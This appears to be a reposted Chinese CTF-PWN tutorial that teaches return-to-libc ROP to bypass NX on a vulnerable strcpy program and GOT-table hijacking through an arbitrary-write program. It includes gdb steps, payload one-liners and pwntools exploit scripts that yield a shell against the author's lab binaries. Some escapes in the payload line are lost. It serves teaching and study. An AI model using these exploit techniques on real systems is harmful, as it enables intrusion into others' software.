从c语言到汇编指令 长亭科技,从0开始CTF-PWN(四)ROP绕过栈可执行保护与GOT表劫持...

int main(int argc, char* argv[]) {char buf[128];if (argc < 2) return 1;strcpy(buf, argv[1]);printf("Input:%sn", buf);return 0;}

使用如下命令进行编译:

gcc-4.8 -g -m32 -O0 -fno-stack-protector -o pwn_test_bof3_32-gcc4.8 pwn_test_bof2.c

3.2 什么是ROP

回想一下上一节,我们是通过利用栈溢出漏洞,将一段自行构造的shellcode放置在栈上特定位置,并使得函数的返回值跳转到该段代码的地址执行,从而获得shell。但是这要求可以在栈上执行代码,现在栈上可执行代码被关闭了,这就要求我们要想办法跳转到可以执行代码的地方。

我们看到程序引用了libc库的函数(两句include语句),libc库中显然包含有system函数,那么我们将可以把函数返回的地址指向libc中的system地址,从而跳转到库函数去执行。 这种使用函数返回地址(ret指令)连接代码的技术,就叫做ROP(Return-Oriented Programming,返回导向编程)。

ROP 特性

甚至可以通过在栈上布置一系列内存地址,每个内存地址布置一个gadget(以ret/jmp/call等指令结尾的一段汇编指令),从而实现程序的依次执行。另外很重要的一点是,我们在栈上写入的都是内存地址,并非需要执行的代码,使得这种方式可以有效的绕过NX保护。

3.3 开始构造特殊的栈结构

根据第二节中介绍的函数调用栈知识,我们构造如下的栈结构:

ca23c8fc0023764ffb4a3eebfa9c9441.png

注意ROP部分的三句话,从而实现在main函数返回时执行:

system( "/bin/sh");returnxxx;

因为我们的目的是getshell,所以执行system即可,返回地址可以随意填写。

3.4 攻击思路

根据上面的分析,我们需要如下计算步骤:

找出buf变量地址。

找出main函数返回地址。

计算面函数返回地址与buf变量地址2者的偏移量,用于填充padding。 上述三步与前一节一致

找出libc中system函数、"/bin/sh"地址。

padding后填充addr(system) + 4位任意地址 + addr(/bin/sh)

思路明确,我们现在开始来逐步调试。前面3步的过程与第三节相同,这里就不再重复,现在我们来调试libc中地址获取。

获取system、/bin/sh地址

#开始调试gdb -q -args ./pwn_test_bof3_32-gcc4.8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgdb-peda$starti#运行gdb-peda$r#查询关键systemgdb-peda$printsystem#查询/bin/shgdb-peda$find "/bin/sh"

8d8417a53ad336dc0a81355715ded845.png

得到system的地址为:0xf7e145f0,"/bin/sh"字符的地址为:0xf7f58406。于是我们构造payload为:

"a" * 140 + "0xf7e145f0" + "1111" + "0xf7f58406"

# 执行./pwn_test_bof3_32-gcc4. 8$(python - c' print"a"* 140+ "xf0Exe1xf7"+ "1111"+ "x06x84xf5xf7"')

得到shell:

49b2bfa953a8a31db013bf6502a7a8d5.png

3.5 pwntools实现

# coding:utf-8from pwn import *context(arch='amd64', os='linux')# 注意系统重启后地址可能会发生变化,需要重新获取system_addr = 0xf7e145f0binsh_addr = 0xf7f58406payload = "A"* 140 + p32(system_addr) + "1111"+ p32(binsh_addr)p = process(argv=[ "/home/pwn/test/bof/pwn_test_bof3_32-gcc4.8", payload])p.interactive

四、GOT劫持

4.1 GOT表介绍

知识点1:

.got中存放的是外部全局变量的GOT表,例如stdin/stdout/stderr,非延时绑定。

.got.plt中存放的是外部函数的GOT表,例如printf函数,延时绑定。

知识点2:

GOT劫持2大要素:GOT表可写(checksec显示RELRO/disabled且Flg标志位显示为WA)与内存漏洞。

4.2 GOT表劫持核心思想

GOT表劫持的核心目的是通过修改GOT表中的函数地址为其他我们期望的地址,从而达到执行该函数时,通过跳转到GOT表,从而跳转到我们修改过的地址去执行指令。

4.3 GOT表查看方法

查看got表是否可写

readelf-S [program]

通过命令查看GOT表中函数地址:

objdump-Rgot_hacking_32-gcc4.8

pwntools中查看:

hex(elf.got[ "printf"])获取 printf在GOT表的地址

4.4 got_hacking.c程序

选自长亭科技相关分享,因为是一个特别典型和简单的got_hacking,非常适合入门,所以这里用它来做说明:

# include# includevoidwin{puts( "You Win!");}voidmain{unsignedintaddr, value;scanf( "%x=%x", &addr, &value);*( unsignedint*)addr = value;printf( "set %x=%xn", addr, value);}

使用如下命令进行编译:

gcc-4.8-m32-ogot_hacking_32-gcc4.8got_hacking.c

可以看到并未添加-z relro -z now(完全关闭)编译参数,这就为GOT表劫持提供了可能。

4.5 程序分析

(1)程序的目的是为了执行win函数,但是从main函数中并无入口调用win函数,所以我们需要想办法控制指令跳转到win函数的地址执行。

(2)scanf("%x=%x", &addr, &value); — 以16进制按{}={}的格式读入2个数,分别写入addr和value。

(3) (unsigned int )addr = value;— 关键语句:

(unsigned int )addr— 将addr强制转化为指针类型,此时(unsigned int )addr表示的是内存地址addr

(unsigned int )addr = value;— 将内存地址addr处的内容改写为value

所以这里存在4字节=32bit的任意内存写入漏洞。

4.6 攻击思路

(1)读取win函数的地址。

#读取办法1:gdb中打印gdb-peda$p win#外部读取objdump -d got_hacking_32-gcc4.8|grep win

(2)从got表中读取printf函数的地址。

objdump-Rgot_hacking_32-gcc4.8

知识点-objdump工具

objdump是linux反汇编指令。-d(disassemble): 可以显示反汇编后的汇编代码。-R(dynamic-reloc): 显示文件的动态重定位入口,可以用于查找libc等共享库。

输入时利用内存泄露漏洞将printf函数的地址指向win函数。

# 输入addr(printf)=addr(win),注意这里的地址不同环境不同0804c00c= 0x804918d

显示win。

c11c61c95c5df9c4b5235153a510787d.png

4.7 pwntools实现

# coding:utf-8from pwn import *context(arch='amd64', os='linux')s = ssh(host= "10.211.55.6", port=22, user= "root", password= "")p = s.process(argv=[ "/home/pwn/test/got_hacking/got_hacking_32-gcc4.8"])elf = p.elf# 获取win函数地址win_addr = hex(elf.sym['win'])# 从got表中获取printf函数地址printf_addr = hex(elf.got['printf'])print ( "win_addr: {}".format(win_addr))print ( "printf_addr: {}".format(printf_addr))payload = printf_addr + "="+ win_addrprint ( "payload: {}".format(payload))p.sendline(payload)# 打印输出winprint (p.recvall)

e64659af5f9efad681633fc2322435e8.png

看雪ID:dxbaicai

*本文由看雪论坛 dxbaicai 原创,转载请注明来自看雪社区。返回搜狐,查看更多

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值